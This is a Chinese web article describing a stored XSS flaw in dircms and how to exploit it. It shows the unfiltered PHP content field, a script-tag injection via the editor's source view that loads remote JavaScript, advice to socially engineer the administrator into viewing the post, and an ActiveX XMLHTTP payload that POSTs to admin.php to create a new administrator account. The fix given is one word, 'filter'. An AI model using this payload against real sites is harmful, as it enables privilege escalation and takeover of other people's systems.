dircms XSS漏洞和利用方法及修復(fù)
1 $info['content']=add_alt($info['content'],$info['title']); //////////////////////自動加 ALT標(biāo)簽
2 $info['title']=sub_string($info['title'],160,''); //標(biāo)題
3 $info['keywords']=sub_string($info['keywords'],100,''); //關(guān)鍵字
4 $info['content']=stripslashes($info['content']); //這里是內(nèi)容 沒有使用sub_string過濾
5 $info['status']=in_array($_groupid,$passpriv) || $_groupid==1?1:0;
再看 sub_string
1 function sub_string($string, $length, $dot='')
2 {
3 $string=trim($string);
4 $strlen = strlen($string);
5 if($strlen <= $length) return $string;
6 $string = str_replace(array(' ', '&', '"', ''', '“', '”', '—', '<', '>', '·', '…'), array(' ', '&', '"', "'", '“', '”', '—', '<', '>', '·', '…'), $string); //這里做了轉(zhuǎn)義 -0-! 要是標(biāo)題沒轉(zhuǎn)換更好。。。。。。
利用方法 在FCKEDIT里點源代碼
然后寫 < src="http://127.0.0.1/1.js" </>
這里簡單 不明白的拿塊豆腐自殺好了
然后等待管理員查看投稿的文章 (這個你可以社工他) 就會觸發(fā)XSS攻擊
遠(yuǎn)程JS里寫 當(dāng)然 內(nèi)容限制長度是500 也可以不用調(diào)用遠(yuǎn)程直接寫進(jìn)去可以了
1 var oReq = new ActiveXObject("MSXML2.XMLHTTP");
2 var str = "do_submit=1&newadmin[username]=t00ls&newadmin[allowmultilogin]=1&newadmin[roleid]=1&newadmin[disabled]=0";
3 oReq.open("POST","http://127.0.0.1/admin.php?file=admin&action=add",false);
4 oReq.setRequestHeader("Content-Length",str.length);
5 oReq.setRequestHeader("CONTENT-TYPE","application/x-www-form-urlencoded");
6 oReq.send(str);
newadmin[username]=t00ls 為會員注冊賬號 既可提升到管理員權(quán)限
修復(fù):過濾
關(guān)健詞: XSS漏洞
新文章:
- CentOS7下圖形配置網(wǎng)絡(luò)的方法
- CentOS 7如何添加刪除用戶
- 如何解決centos7雙系統(tǒng)后丟失windows啟動項
- CentOS單網(wǎng)卡如何批量添加不同IP段
- CentOS下iconv命令的介紹
- Centos7 SSH密鑰登陸及密碼密鑰雙重驗證詳解
- CentOS 7.1添加刪除用戶的方法
- CentOS查找/掃描局域網(wǎng)打印機IP講解
- CentOS7使用hostapd實現(xiàn)無AP模式的詳解
- su命令不能切換root的解決方法
- 解決VMware下CentOS7網(wǎng)絡(luò)重啟出錯
- 解決Centos7雙系統(tǒng)后丟失windows啟動項
- CentOS下如何避免文件覆蓋
- CentOS7和CentOS6系統(tǒng)有什么不同呢
- Centos 6.6默認(rèn)iptable規(guī)則詳解